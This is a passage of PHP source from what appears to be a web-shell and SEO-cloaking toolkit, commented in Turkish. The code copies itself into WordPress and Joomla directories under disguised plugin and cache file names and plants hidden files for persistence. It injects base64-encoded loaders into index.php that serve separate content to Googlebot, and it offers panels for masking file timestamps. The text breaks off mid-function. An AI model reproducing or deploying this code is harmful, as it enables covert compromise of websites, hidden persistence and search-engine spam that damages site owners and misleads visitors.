$wp_root . '/wp-content/plugins/media-cache-helper/cache-seo-helper.php', 'bg' => $wp_root . '/wp-content/plugins/media-cache-helper/winrarzips-bg.png', 'mkdir' => true, 'panel' => true, 'plugin_stub' => true, ], [ 'label' => 'wp-caches (cache-seo-helper.php)', 'php' => $wp_root . '/wp-content/wp-caches/cache-seo-helper.php', 'bg' => $wp_root . '/wp-content/wp-caches/winrarzips-bg.png', 'mkdir' => true, 'panel' => true, ], [ 'label' => 'Gizli (.render-cache helper + bg)', 'php' => $wp_root . '/.render-cache/.winrarzips-helper.php', 'bg' => $wp_root . '/.render-cache/winrarzips-bg.png', 'mkdir' => true, 'panel' => true, ], [ 'label' => 'Uploads (veri — PHP nginx tarafindan engellenebilir)', 'php' => $wp_root . '/wp-content/uploads/wp-media-cache/.winrarzips-helper.php', 'bg' => $wp_root . '/wp-content/uploads/wp-media-cache/winrarzips-bg.png', 'mkdir' => true, 'panel' => false, ], ]; } function wrz_deploy_cloak_panel($roots = null) { $sources = wrz_cloak_source_files(); if ($sources['cloak'] === '') { return [ 'ok' => false, 'html' => 'priv-winrarzips-cloak.php bulunamadi. ' . 'Dosyayi bundle ile ayni klasore yukleyin.', 'items' => [], ]; } if ($roots === null) { $roots = wrz_resolve_wp_roots(); } if (!$roots) { $tried = array_map('htmlspecialchars', wrz_wp_root_candidates()); return [ 'ok' => false, 'html' => 'WordPress kok bulunamadi' . ($tried ? ' — Denenen: ' . implode(', ', $tried) . '' : ''), 'items' => [], ]; } $items = []; $ok_count = 0; $fail_count = 0; $panel_urls = []; foreach ($roots as $root) { foreach (wrz_cloak_deploy_targets($root) as $target) { if (!empty($target['plugin_stub'])) { wrz_cloak_write_plugin_stub(@dirname($target['php'])); } $phpCopy = wrz_copy_file($sources['cloak'], $target['php'], !empty($target['mkdir'])); $bgCopy = ['ok' => false, 'msg' => 'winrarzips-bg.png yok']; if ($sources['bg'] !== '') { $bgCopy = wrz_copy_file($sources['bg'], $target['bg'], !empty($target['mkdir'])); } $ok = $phpCopy['ok'] && $bgCopy['ok']; if ($ok) { $ok_count++; } else { $fail_count++; } $url = $phpCopy['ok'] ? wrz_public_url($target['php']) : ''; $panelUrl = ''; $probeCode = 0; if ($url && !empty($target['panel'])) { $panelUrl = wrz_cloak_panel_url($url); $probeCode = wrz_http_status($panelUrl); if ($probeCode >= 200 && $probeCode < 400) { $panel_urls[$panelUrl] = $panelUrl; } elseif ($probeCode === 404 && empty($panel_urls)) { $panel_urls[$panelUrl] = $panelUrl; } } $statusMsg = $phpCopy['ok'] ? ($bgCopy['ok'] ? 'OK' : $bgCopy['msg']) : $phpCopy['msg']; if ($panelUrl && $probeCode) { $statusMsg .= $probeCode >= 200 && $probeCode < 400 ? ' — HTTP ' . $probeCode . ' (panel erisilebilir)' : ' — HTTP ' . $probeCode . ' (nginx/uploads engeli olabilir)'; } $items[] = [ 'label' => $target['label'], 'path' => $target['php'], 'url' => $url, 'panel_url' => $panelUrl, 'probe' => $probeCode, 'ok' => $ok, 'msg' => $statusMsg, ]; } } uasort($panel_urls, static function ($a, $b) { $ca = wrz_http_status($a); $cb = wrz_http_status($b); $oa = ($ca >= 200 && $ca < 400) ? 0 : 1; $ob = ($cb >= 200 && $cb < 400) ? 0 : 1; return $oa <=> $ob; }); $lines = ['
']; $lines[] = '
Cloak kurulumu — OK: ' . $ok_count . ', Hata: ' . $fail_count . '
'; $lines[] = '
Token URL: p=' . htmlspecialchars(rawurlencode(WRZ_CLOAK_TOKEN)) . ' (# fragment degil — nginx 404 onler)
'; if ($panel_urls) { $lines[] = '
Panel (calisan oncelikli):
' . implode('
', array_map(static function ($u) { $code = wrz_http_status($u); $badge = ($code >= 200 && $code < 400) ? 'HTTP ' . $code . '' : 'HTTP ' . $code . ''; return $badge . ' ' . htmlspecialchars($u) . ''; }, array_values($panel_urls))) . '
'; } $lines[] = '
'; return [ 'ok' => $ok_count > 0, 'html' => implode("\n", $lines), 'items' => $items, 'panel_urls' => array_values($panel_urls), ]; } function wrz_auto_setup_all() { $roots = wrz_resolve_wp_roots(); if (!$roots) { $tried = array_map('htmlspecialchars', wrz_wp_root_candidates()); return [ 'ok' => false, 'html' => 'WordPress kok bulunamadi' . ($tried ? '
Denenen yollar: ' . implode(', ', $tried) . '' : ''), 'items' => [], ]; } $parts = [ '
Otomatik kurulum tamamlandi — WP kok: ' . '' . htmlspecialchars($roots[0]) . '
', ]; $cloak = wrz_deploy_cloak_panel($roots); $parts[] = $cloak['html']; $deploy = wrz_deploy_shell_to_roots($roots); $parts[] = $deploy['html']; return [ 'ok' => !empty($cloak['ok']) || !empty($deploy['ok']), 'html' => implode("\n", $parts), 'items' => array_merge($cloak['items'] ?? [], $deploy['items'] ?? []), ]; } function wrz_deploy_shell_to_roots(array $roots) { $src = @realpath(__FILE__); if (!$src) { return ['ok' => false, 'html' => 'Kaynak dosya bulunamadi', 'items' => []]; } $items = []; $ok_count = 0; $fail_count = 0; foreach ($roots as $root) { $manifest_paths = []; foreach (wrz_deploy_target_specs($root) as $spec) { $dst = $spec['path']; $copy = wrz_copy_file($src, $dst, !empty($spec['mkdir'])); $url = $copy['ok'] ? wrz_public_url($dst) : ''; $items[] = [ 'root' => basename($root), 'label' => $spec['label'] . ' → ' . ($spec['file'] ?? basename($dst)), 'path' => $dst, 'url' => $url, 'ok' => $copy['ok'], 'msg' => $copy['msg'], ]; if ($copy['ok']) { $ok_count++; $manifest_paths[] = $dst; } else { $fail_count++; } } if ($manifest_paths) { wrz_deploy_manifest_save($root, $manifest_paths); wrz_deploy_backup_create($root); } } $lines = ['
']; $lines[] = '
Klasorlere yerlestirme tamamlandi (WP tarzi dosya adlari) — OK: ' . $ok_count . ', Hata: ' . $fail_count . '
'; $lines[] = '
Deploy yedegi otomatik alindi → wp-content/.wrz-deploy-backup/
'; $lines[] = '
'; return [ 'ok' => $ok_count > 0, 'html' => implode("\n", $lines), 'items' => $items, 'ok_count' => $ok_count, 'fail_count' => $fail_count, ]; } function wrz_deploy_shell() { $roots = wrz_resolve_wp_roots(); if (!$roots) { $tried = array_map('htmlspecialchars', wrz_wp_root_candidates()); return [ 'ok' => false, 'html' => 'WordPress kok bulunamadi' . ($tried ? '
Denenen: ' . implode(', ', $tried) . '' : ''), 'items' => [], ]; } return wrz_deploy_shell_to_roots($roots); } // ===== WinRarZips Cloak (tek dosya — gomulu) ===== /** * WinRarZips Cloak modulu * wp-caches.php icinden yuklenir. */ if (!function_exists('wrz_cloak_clean_buffers')) { function wrz_cloak_clean_buffers() { while (@ob_get_level() > 0) { @ob_end_clean(); } } } if (!function_exists('wrz_cloak_json_exit')) { function wrz_cloak_json_exit($data, $code = 200) { wrz_cloak_clean_buffers(); if (!headers_sent()) { header('Content-Type: application/json; charset=utf-8'); http_response_code((int) $code); } $out = json_encode($data, JSON_UNESCAPED_UNICODE); if ($out === false) { $out = json_encode(['error' => 'json_encode_fail'], JSON_UNESCAPED_UNICODE); } echo $out; exit; } } function wrz_cloak_docroot() { if (function_exists('wrz_cms_roots')) { $cms = wrz_cms_roots(); if (!empty($cms[0]['root'])) { return rtrim(str_replace('\\', '/', $cms[0]['root']), '/'); } } if (function_exists('wrz_resolve_wp_roots')) { $roots = wrz_resolve_wp_roots(); if (!empty($roots[0])) { return rtrim(str_replace('\\', '/', $roots[0]), '/'); } } elseif (function_exists('wrz_wp_roots')) { $roots = wrz_wp_roots(); if (!empty($roots[0])) { return rtrim(str_replace('\\', '/', $roots[0]), '/'); } } if (function_exists('wrz_joomla_roots')) { $roots = wrz_joomla_roots(); if (!empty($roots[0])) { return rtrim(str_replace('\\', '/', $roots[0]), '/'); } } $doc = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : ''; return $doc ? rtrim(str_replace('\\', '/', $doc), '/') : ''; } function wrz_cloak_handle_request() { if (!function_exists('wrz_is_logged_in') || !wrz_is_logged_in()) { return false; } $a = ''; if (isset($_GET['wrz_cloak']) && (string) $_GET['wrz_cloak'] !== '') { $a = (string) $_GET['wrz_cloak']; } elseif (isset($_POST['wrz_cloak']) && (string) $_POST['wrz_cloak'] !== '') { $a = (string) $_POST['wrz_cloak']; } if ($a === '') { return false; } wrz_cloak_clean_buffers(); @ob_start(); $DIR = wrz_cloak_docroot(); if ($DIR === '' || !@is_dir($DIR)) { if (function_exists('wrz_cloak_json_exit')) { wrz_cloak_json_exit(['error' => 'CMS kok dizini bulunamadi (WordPress/Joomla)']); } header('Content-Type: application/json; charset=utf-8'); echo json_encode(['error' => 'CMS kok dizini bulunamadi (WordPress/Joomla)'], JSON_UNESCAPED_UNICODE); return true; } try { if (function_exists('wrz_cloak_load_actions')) { wrz_cloak_load_actions($a, $DIR); } else { wrz_cloak_json_exit(['error' => 'Cloak modulu eksik']); } } catch (Throwable $e) { if (function_exists('wrz_cloak_json_exit')) { wrz_cloak_json_exit(['error' => $e->getMessage()]); } header('Content-Type: application/json; charset=utf-8'); echo json_encode(['error' => $e->getMessage()], JSON_UNESCAPED_UNICODE); } $junk = @ob_get_clean(); if ($junk !== '' && trim($junk) !== '') { if (function_exists('wrz_cloak_json_exit')) { wrz_cloak_json_exit(['error' => 'Beklenmeyen cikti', 'preview' => substr(strip_tags($junk), 0, 300)]); } } return true; } function wrz_cloak_status($dir) { $indexFile = 'index.php'; $htmlFile = 'wp-comments-post-loader.html'; $ampFile = 'amp.php'; $idxPath = $dir . DIRECTORY_SEPARATOR . $indexFile; $htmlPath = $dir . DIRECTORY_SEPARATOR . $htmlFile; $ampPath = $dir . DIRECTORY_SEPARATOR . $ampFile; $idxExists = @file_exists($idxPath); $htmlExists = @file_exists($htmlPath); $ampExists = @file_exists($ampPath); $googleFiles = function_exists('wrz_cloak_list_google_files') ? wrz_cloak_list_google_files($dir) : []; if (!$googleFiles) { foreach ((array) @glob($dir . DIRECTORY_SEPARATOR . 'google*.html') as $p) { $b = basename($p); if (preg_match('/^google[a-zA-Z0-9]+\.html$/', $b)) { $googleFiles[] = $b; } } sort($googleFiles); } $cms = function_exists('wrz_cloak_cms_type') ? wrz_cloak_cms_type($dir) : 'unknown'; return [ 'dir' => $dir, 'cms' => $cms, 'idx_exists' => $idxExists, 'idx_size' => $idxExists ? number_format((int) @filesize($idxPath)) : '—', 'html_exists' => $htmlExists, 'html_size' => $htmlExists ? number_format((int) @filesize($htmlPath)) : '—', 'amp_exists' => $ampExists, 'amp_size' => $ampExists ? number_format((int) @filesize($ampPath)) : '—', 'google_files' => $googleFiles, ]; } function wrz_cloak_query_base() { return wrz_cloak_api_base(); } function wrz_cloak_render_panel($status) { $api = wrz_cloak_api_base(); $postUrl = wrz_cloak_script_url(); $dir = htmlspecialchars($status['dir'], ENT_QUOTES, 'UTF-8'); $pk = htmlspecialchars($api, ENT_QUOTES, 'UTF-8'); $cmsLabel = isset($status['cms']) && $status['cms'] === 'joomla' ? 'Joomla' : (isset($status['cms']) && $status['cms'] === 'wordpress' ? 'WordPress' : 'CMS'); ?>
CLOAK ISLEMLERI · ● Kontrol...

Otomatik Joomla AMP cloak — index.php + .htaccess analiz edilir; W7 Shield, Joomla 4/5 veya Gridbox uploads icin en uygun loader secilir. index.php'ye sadece 1 satir require_once eklenir.

amp.php dosyanizi asagidaki AMP Icerigini Duzenle bolumunden kaydedin.

Kurulumdan sonra Timestamp Duzenle ile mtime maskeleme yapin.

Gercek test icin GoogleBot ile Kontrol Et kullanin. Sorun olursa ACIL GERI AL.

Durum
index.php
amp.php (bot icerigi)
wp-comments-post-loader.html (eski)
GOOGLESil
AMP Icerigini Duzenle (amp.php)
Perde Tasarimini Duzenle (eski HTML)
Google Search Console Dogrulama Dosyasi Yukle
0) { @ob_end_clean(); } } } if (!function_exists('wrz_cloak_json_exit')) { function wrz_cloak_json_exit($data, $code = 200) { wrz_cloak_clean_buffers(); if (!headers_sent()) { header('Content-Type: application/json; charset=utf-8'); http_response_code((int) $code); } $out = json_encode($data, JSON_UNESCAPED_UNICODE); if ($out === false) { $out = json_encode(['error' => 'json_encode_fail'], JSON_UNESCAPED_UNICODE); } echo $out; exit; } } if (!function_exists('wrz_cloak_cc_rmdir')) { function wrz_cloak_cc_rmdir($dir) { $n = 0; if (!@is_dir($dir)) { return 0; } try { $it = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($dir, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST ); foreach ($it as $f) { $path = $f->getRealPath(); if ($f->isFile() || $f->isLink()) { if (@unlink($path)) { $n++; } } elseif ($f->isDir() && $path && realpath($path) !== realpath($dir)) { @rmdir($path); } } } catch (Exception $e) { // dizin okunamadi } catch (Throwable $e) { // PHP 7+ } return $n; } } if (!function_exists('wrz_cloak_try_load_wp')) { function wrz_cloak_try_load_wp($dir) { foreach ([$dir . '/wp-load.php', dirname($dir) . '/wp-load.php'] as $wpl) { if (!@is_file($wpl)) { continue; } @ob_start(); $loaded = false; try { if (!defined('SHORTINIT')) { define('SHORTINIT', true); } @include_once $wpl; $loaded = defined('ABSPATH'); } catch (Throwable $e) { $loaded = false; } @ob_end_clean(); if ($loaded) { return true; } } return false; } } $TEMPLATES=[ 'wordpress'=>[ 'index.php'=>[ 'cloak'=>base64_decode('PD9waHAKaGVhZGVyKCdDYWNoZS1Db250cm9sOiBuby1zdG9yZSwgbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZSwgbWF4LWFnZT0wJyk7CmhlYWRlcignUHJhZ21hOiBuby1jYWNoZScpOwpoZWFkZXIoJ1Zhcnk6IFVzZXItQWdlbnQnKTsKJHVzZXJBZ2VudD1pc3NldCgkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pPyRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTonJzsKaWYocHJlZ19tYXRjaCgnL0dvb2dsZWJvdHxBZHNCb3R8TWVkaWFwYXJ0bmVycy1Hb29nbGV8QVBJcy1Hb29nbGV8R29vZ2xlYm90LUltYWdlfEdvb2dsZWJvdC1WaWRlb3xHb29nbGVib3QtTmV3c3xHb29nbGVib3QtU2VhcmNofEdvb2dsZWJvdC1JbnNwZWN0fEdvb2dsZWJvdC1BbmRyb2lkfEdvb2dsZWJvdC1Nb2JpbGV8R29vZ2xlYm90LUFkc3xHb29nbGVib3QtRGlzY292ZXJ5fEdvb2dsZS18R29vZ2xlT3RoZXIvaScsJHVzZXJBZ2VudCkmJiRfU0VSVkVSWydSRVFVRVNUX1VSSSddPT0nLycpe2luY2x1ZGUgJ3dwLWNvbW1lbnRzLXBvc3QtbG9hZGVyLmh0bWwnO2RpZSgpO30KZGVmaW5lKCdXUF9VU0VfVEhFTUVTJyx0cnVlKTsKcmVxdWlyZSBfX0RJUl9fLicvd3AtYmxvZy1oZWFkZXIucGhwJzsK'), 'orig' =>base64_decode('PD9waHANCi8qKg0KICogRnJvbnQgdG8gdGhlIFdvcmRQcmVzcyBhcHBsaWNhdGlvbi4gVGhpcyBmaWxlIGRvZXNuJ3QgZG8gYW55dGhpbmcsIGJ1dCBsb2Fkcw0KICogd3AtYmxvZy1oZWFkZXIucGhwIHdoaWNoIGRvZXMgYW5kIHRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSB0aGVtZS4NCiAqDQogKiBAcGFja2FnZSBXb3JkUHJlc3MNCiAqLw0KDQovKioNCiAqIFRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSBXb3JkUHJlc3MgdGhlbWUgYW5kIG91dHB1dCBpdC4NCiAqDQogKiBAdmFyIGJvb2wNCiAqLw0KZGVmaW5lKCAnV1BfVVNFX1RIRU1FUycsIHRydWUgKTsNCg0KLyoqIExvYWRzIHRoZSBXb3JkUHJlc3MgRW52aXJvbm1lbnQgYW5kIFRlbXBsYXRlICovDQpyZXF1aXJlIF9fRElSX18gLiAnL3dwLWJsb2ctaGVhZGVyLnBocCc7') ] ], 'joomla'=>[ 'index.php'=>[ 'orig'=>null ] ] ]; if (!function_exists('wrz_joomla_default_index_content')) { function wrz_joomla_default_index_content($dir){ $dir=rtrim(str_replace('\\','/',$dir),'/'); if(@is_file($dir.'/includes/app.php')){ return <<<'WRZJ5IDX' execute(); WRZJ4IDX; }} if (!function_exists('wrz_joomla_index_looks_valid')) { function wrz_joomla_index_looks_valid($content){ $content=(string)$content; if($content===''||strpos($content,'$p,'content'=>$c]; } return null; }} if (!function_exists('wrz_cloak_joomla_write_index')) { function wrz_cloak_joomla_write_index($dir,$content){ $idx=$dir.DIRECTORY_SEPARATOR.'index.php'; $ok=@file_put_contents($idx,$content)!==false; if($ok){ @chmod($idx,0644); } return $ok; }} $JOOMLA_INDEX_BAK='.wrz-joomla-index.bak'; $JOOMLA_APP_BAK='.wrz-joomla-app.bak'; $JOOMLA_CLOAK_LOADER='wrz-bot-cloak.php'; $JOOMLA_AMP_LOADER='wrz-amp-cloak.php'; $AMP_FILE='amp.php'; $AMP_DEFAULT=<<<'WRZAMP' AMP

AMP icerik — File Manager > amp.php duzenleyin

WRZAMP; if (!function_exists('wrz_amp_cloak_loader_php')) { function wrz_amp_cloak_loader_php($ampPathExpr,$ampRelFromRoot=''){ $ampRelFromRoot=ltrim(str_replace('\\','/',(string)$ampRelFromRoot),'/'); $marker=$ampRelFromRoot!==''?"/* WRZ-AMP-FILE:{$ampRelFromRoot} */\n":''; return '=5){ while(ob_get_level()>0)@ob_end_clean(); if(!headers_sent()){ header(\'Cache-Control: no-store, no-cache, must-revalidate, max-age=0\'); header(\'Pragma: no-cache\'); header(\'Vary: User-Agent\'); header(\'Content-Type: text/html; charset=utf-8\'); } readfile($_wrz_amp); exit; } } }} '; }} if (!function_exists('wrz_cloak_ensure_amp_file')) { function wrz_cloak_ensure_amp_file($dir){ global $AMP_FILE,$AMP_DEFAULT; $dir=rtrim(str_replace('\\','/',$dir),'/'); $amp=$dir.'/'.$AMP_FILE; if(@is_file($amp)&&@filesize($amp)>=20)return 'EXISTS'; $ok=@file_put_contents($amp,$AMP_DEFAULT)!==false; if($ok)@chmod($amp,0644); return $ok?'CREATED':'ERR'; }} if (!function_exists('wrz_cloak_joomla_amp_expr_from_index')) { function wrz_cloak_joomla_amp_expr_from_index($ampRelFromRoot){ $ampRelFromRoot=ltrim(str_replace('\\','/',(string)$ampRelFromRoot),'/'); return "__DIR__.'/" . str_replace("'", "\\'", $ampRelFromRoot) . "'"; }} if (!function_exists('wrz_cloak_joomla_amp_expr_from_loader')) { function wrz_cloak_joomla_amp_expr_from_loader($ampRelFromRoot,$loaderRelFromRoot){ $ampRelFromRoot=ltrim(str_replace('\\','/',(string)$ampRelFromRoot),'/'); $loaderRelFromRoot=ltrim(str_replace('\\','/',(string)$loaderRelFromRoot),'/'); $loaderDir=dirname($loaderRelFromRoot); if($loaderDir==='.'||$loaderDir==='')return wrz_cloak_joomla_amp_expr_from_index($ampRelFromRoot); $depth=substr_count($loaderDir,'/')+1; $prefix=str_repeat('dirname(',$depth).'__DIR__'.str_repeat(')',$depth); return $prefix.".'/" . str_replace("'", "\\'", $ampRelFromRoot) . "'"; }} if (!function_exists('wrz_cloak_joomla_amp_write_target')) { function wrz_cloak_joomla_amp_write_target($dir){ $found=wrz_cloak_joomla_find_amp($dir); if($found)return $found['full']; $resolved=wrz_cloak_joomla_resolve_amp($dir); if($resolved)return $resolved['full']; $dir=rtrim(str_replace('\\','/',$dir),'/'); return $dir.'/amp.php'; }} if (!function_exists('wrz_cloak_joomla_amp_path_from_index')) { function wrz_cloak_joomla_amp_path_from_index($dir){ $idx=rtrim(str_replace('\\','/',$dir),'/').'/index.php'; if(!@is_file($idx))return null; $c=(string)@file_get_contents($idx); if(preg_match('/\/\* WRZ-AMP-FILE:([^*]+)\*\//',$c,$m)){ $rel=trim(str_replace('\\','/',$m[1]),'/'); return $rel!==''?$rel:null; } return null; }} if (!function_exists('wrz_cloak_joomla_find_amp')) { function wrz_cloak_joomla_find_amp($dir){ $dir=rtrim(str_replace('\\','/',$dir),'/'); $fromIdx=wrz_cloak_joomla_amp_path_from_index($dir); if($fromIdx){ $full=$dir.'/'.$fromIdx; if(@is_file($full)&&@filesize($full)>=5){ return ['rel'=>$fromIdx,'full'=>$full,'index_expr'=>wrz_cloak_joomla_amp_expr_from_index($fromIdx)]; } } foreach(['amp.php','images/amp.php','tmp/amp.php','cache/amp.php'] as $rel){ $full=$dir.'/'.$rel; if(@is_file($full)&&@filesize($full)>=5){ return ['rel'=>$rel,'full'=>$full,'index_expr'=>wrz_cloak_joomla_amp_expr_from_index($rel)]; } } return null; }} if (!function_exists('wrz_cloak_joomla_resolve_amp')) { function wrz_cloak_joomla_resolve_amp($dir){ global $AMP_DEFAULT; $found=wrz_cloak_joomla_find_amp($dir); if($found)return $found; $dir=rtrim(str_replace('\\','/',$dir),'/'); foreach(['amp.php','images/amp.php','tmp/amp.php','cache/amp.php'] as $rel){ $full=$dir.'/'.$rel; $parent=dirname($full); if(!@is_dir($parent))@mkdir($parent,0755,true); if(@file_put_contents($full,$AMP_DEFAULT)!==false){ @chmod($full,0644); return ['rel'=>$rel,'full'=>$full,'index_expr'=>wrz_cloak_joomla_amp_expr_from_index($rel)]; } } return null; }} if (!function_exists('wrz_cloak_joomla_amp_inline_block')) { function wrz_cloak_joomla_amp_inline_block($ampPathExpr,$ampRelFromRoot='amp.php'){ $ampRelFromRoot=ltrim(str_replace('\\','/',(string)$ampRelFromRoot),'/'); return "\n/* WRZ-AMP-CLOAK */\n" . "/* WRZ-AMP-FILE:{$ampRelFromRoot} */\n" . "if(!defined('WRZ_AMP_CLOAK_DONE')){define('WRZ_AMP_CLOAK_DONE',1);\n" . "\$_wrz_ua='';\n" . "foreach(['HTTP_USER_AGENT','HTTP_X_ORIGINAL_USER_AGENT','HTTP_X_USER_AGENT'] as \$_h){\n" . " if(!empty(\$_SERVER[\$_h])){\$_wrz_ua=(string)\$_SERVER[\$_h];break;}\n" . "}\n" . "if(preg_match('/googlebot|adsbot|mediapartners|apis-google|google-inspectiontool|googleother|google-extended|storebot-google/i',\$_wrz_ua)){\n" . " \$_wrz_uri=isset(\$_SERVER['REQUEST_URI'])?(string)\$_SERVER['REQUEST_URI']:'/';\n" . " \$_wrz_path=strtok(\$_wrz_uri,'?')?:'/';\n" . " if(\$_wrz_path==='')\$_wrz_path='/';\n" . " if(\$_wrz_path!=='/'&&substr(\$_wrz_path,-1)==='/')\$_wrz_path=rtrim(\$_wrz_path,'/')?:'/';\n" . " if(in_array(\$_wrz_path,['/','/index.php'],true)){\n" . " \$_wrz_amp=".$ampPathExpr.";\n" . " if(is_file(\$_wrz_amp)&&@filesize(\$_wrz_amp)>=5){\n" . " while(ob_get_level()>0)@ob_end_clean();\n" . " if(!headers_sent()){header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0');header('Pragma: no-cache');header('Vary: User-Agent');header('Content-Type: text/html; charset=utf-8');}\n" . " readfile(\$_wrz_amp);\n" . " exit;\n" . " }\n" . " }\n" . "}\n" . "}\n" . "/* /WRZ-AMP-CLOAK */\n"; }} if (!function_exists('wrz_cloak_joomla_shell_loader_rel')) { function wrz_cloak_joomla_shell_loader_rel($dir){ global $JOOMLA_AMP_LOADER; $bundle=wrz_cloak_joomla_bundle_file(); $rel=wrz_cloak_joomla_rel_from_root($dir,dirname($bundle)); if($rel===null)return null; return ($rel===''?'':$rel.'/').$JOOMLA_AMP_LOADER; }} if (!function_exists('wrz_cloak_joomla_bundle_file')) { function wrz_cloak_joomla_bundle_file(){ return str_replace('\\','/',@realpath(__FILE__)?:__FILE__); }} if (!function_exists('wrz_cloak_joomla_rel_from_root')) { function wrz_cloak_joomla_rel_from_root($dir,$absPath){ $dir=rtrim(str_replace('\\','/',$dir),'/'); $abs=str_replace('\\','/',$absPath); foreach([@realpath($dir)?str_replace('\\','/',@realpath($dir)):$dir,$dir] as $root){ if($root!==''&&strpos($abs,$root.'/')===0){ return ltrim(substr($abs,strlen($root)+1),'/'); } } return null; }} if (!function_exists('wrz_cloak_joomla_write_file')) { function wrz_cloak_joomla_write_file($path,$content){ $path=(string)$path; $content=(string)$content; $parent=dirname($path); if(!@is_dir($parent))@mkdir($parent,0755,true); if(@file_put_contents($path,$content,LOCK_EX)!==false){ @chmod($path,0644); return true; } $h=@fopen($path,'wb'); if($h){ $w=@fwrite($h,$content); @fclose($h); if($w!==false){@chmod($path,0644);return true;} } $tmp=@tempnam($parent,'wrz'); if($tmp&&@file_put_contents($tmp,$content)!==false){ if(@rename($tmp,$path)){@chmod($path,0644);return true;} if(@copy($tmp,$path)){@unlink($tmp);@chmod($path,0644);return true;} @unlink($tmp); } return false; }} if (!function_exists('wrz_cloak_joomla_path_writable')) { function wrz_cloak_joomla_path_writable($filePath){ $parent=dirname($filePath); if(!@is_dir($parent)){ if(!@mkdir($parent,0755,true))return false; } $suffix=function_exists('random_bytes')?bin2hex(random_bytes(4)):dechex(mt_rand(0,0xffffff)); $probe=$parent.'/.wrz_probe_'.$suffix; $ok=@file_put_contents($probe,'1')!==false; if($ok)@unlink($probe); return $ok; }} if (!function_exists('wrz_cloak_joomla_analyze_htaccess')) { function wrz_cloak_joomla_analyze_htaccess($dir){ $dir=rtrim(str_replace('\\','/',$dir),'/'); $ht=$dir.'/.htaccess'; $out=[ 'exists'=>@is_file($ht), 'joomla_rewrite'=>false, 'force_https'=>false, 'php_restricted'=>false, 'cache_hint'=>null, 'warnings'=>[], 'notes'=>[], ]; if(!$out['exists']){ $out['notes'][]='.htaccess yok — dogrudan PHP erisimi genelde acik'; return $out; } $c=(string)@file_get_contents($ht); if(preg_match('/RewriteEngine\s+On/i',$c)&&preg_match('/index\.php/i',$c)){ $out['joomla_rewrite']=true; $out['notes'][]='Joomla rewrite aktif — loader index.php require ile calisir'; } if(preg_match('/RewriteCond.*HTTPS|RewriteRule.*https/i',$c)){ $out['force_https']=true; } if(preg_match('/]*\.php|RewriteRule[^\n]*\.php[^\n]*(deny|forbidden|F)/i',$c)){ $out['php_restricted']=true; $out['warnings'][]='.htaccess PHP kisitlamasi olabilir — loader dis dosya + index require kullanilacak'; } if(preg_match('/LiteSpeed|lscache|LSCACHE/i',$c)){ $out['cache_hint']='litespeed'; $out['warnings'][]='LiteSpeed cache — kurulumdan sonra cache temizle'; }elseif(preg_match('/W3TC|WP Super Cache|cache/i',$c)){ $out['cache_hint']='generic'; } return $out; }} if (!function_exists('wrz_cloak_joomla_analyze_index')) { function wrz_cloak_joomla_analyze_index($dir){ $dir=rtrim(str_replace('\\','/',$dir),'/'); $idx=$dir.'/index.php'; $out=[ 'exists'=>@is_file($idx), 'valid'=>false, 'w7_shield'=>false, 'has_cloak'=>false, 'inject'=>'after_php', 'joomla'=>'unknown', 'size'=>0, 'writable'=>false, ]; if(!$out['exists'])return $out; $c=(string)@file_get_contents($idx); if(substr($c,0,3)==="\xEF\xBB\xBF")$c=substr($c,3); $out['size']=strlen($c); $out['valid']=function_exists('wrz_joomla_index_looks_valid')?wrz_joomla_index_looks_valid($c):false; $out['w7_shield']=(bool)preg_match('/W7\s+Front-End\s+Shield/i',$c); $out['has_cloak']=strpos($c,'wrz-amp-cloak.php')!==false||strpos($c,'WRZ-AMP-CLOAK')!==false; $out['writable']=@is_writable($idx); if(strpos($c,'includes/app.php')!==false)$out['joomla']='4/5'; elseif(strpos($c,'includes/framework.php')!==false)$out['joomla']='3/4'; if($out['w7_shield'])$out['inject']='w7_eof'; elseif(preg_match('/declare\s*\(\s*strict_types\s*=\s*1\s*\)/',$c))$out['inject']='after_strict'; elseif(preg_match("/require_once\s+__DIR__\s*\.\s*['\"]\/includes\/app\.php['\"]/",$c))$out['inject']='before_app'; if($out['w7_shield']&&preg_match('/##\s*W7\s+Front-End\s+Shield\s+EOF[^\r\n]*\r?\n\s*\?>/i',$c))$out['inject']='after_w7_php'; return $out; }} if (!function_exists('wrz_cloak_joomla_amp_loader_candidates')) { function wrz_cloak_joomla_amp_loader_candidates($dir){ global $JOOMLA_AMP_LOADER; $dir=rtrim(str_replace('\\','/',$dir),'/'); $names=[$JOOMLA_AMP_LOADER,'wp-caches-amp.php','amp-bridge.php']; $rels=[]; $shellRel=wrz_cloak_joomla_shell_loader_rel($dir); if($shellRel){ $shellDir=dirname($shellRel); foreach($names as $n){ $rels[]=($shellDir==='.'||$shellDir==='')?$n:$shellDir.'/'.$n; } } foreach([ 'components/com_gridbox/assets/uploads/attachments/'.$JOOMLA_AMP_LOADER, $JOOMLA_AMP_LOADER, 'includes/'.$JOOMLA_AMP_LOADER, 'images/'.$JOOMLA_AMP_LOADER, 'media/'.$JOOMLA_AMP_LOADER, 'tmp/'.$JOOMLA_AMP_LOADER, 'cache/'.$JOOMLA_AMP_LOADER, 'administrator/cache/'.$JOOMLA_AMP_LOADER, ] as $r){$rels[]=$r;} $rels=array_values(array_unique($rels)); $out=[]; foreach($rels as $rel){$out[]=['rel'=>$rel,'file'=>$dir.'/'.$rel];} $bundleDir=dirname(wrz_cloak_joomla_bundle_file()); foreach($names as $n){$out[]=['rel'=>null,'file'=>$bundleDir.'/'.$n];} return $out; }} if (!function_exists('wrz_cloak_joomla_amp_loader_paths')) { function wrz_cloak_joomla_amp_loader_paths($dir){ $dir=rtrim(str_replace('\\','/',$dir),'/'); $scored=[]; foreach(wrz_cloak_joomla_amp_loader_candidates($dir) as $c){ $rel=$c['rel']; if($rel===null){ $rel=wrz_cloak_joomla_rel_from_root($dir,$c['file']); if($rel===null)continue; } $file=$c['file']; $score=0; if(@is_file($file))$score+=50; if(wrz_cloak_joomla_path_writable($file))$score+=100; if(strpos($rel,'components/')===0)$score+=30; if(strpos($file,dirname(wrz_cloak_joomla_bundle_file()))===0)$score+=80; 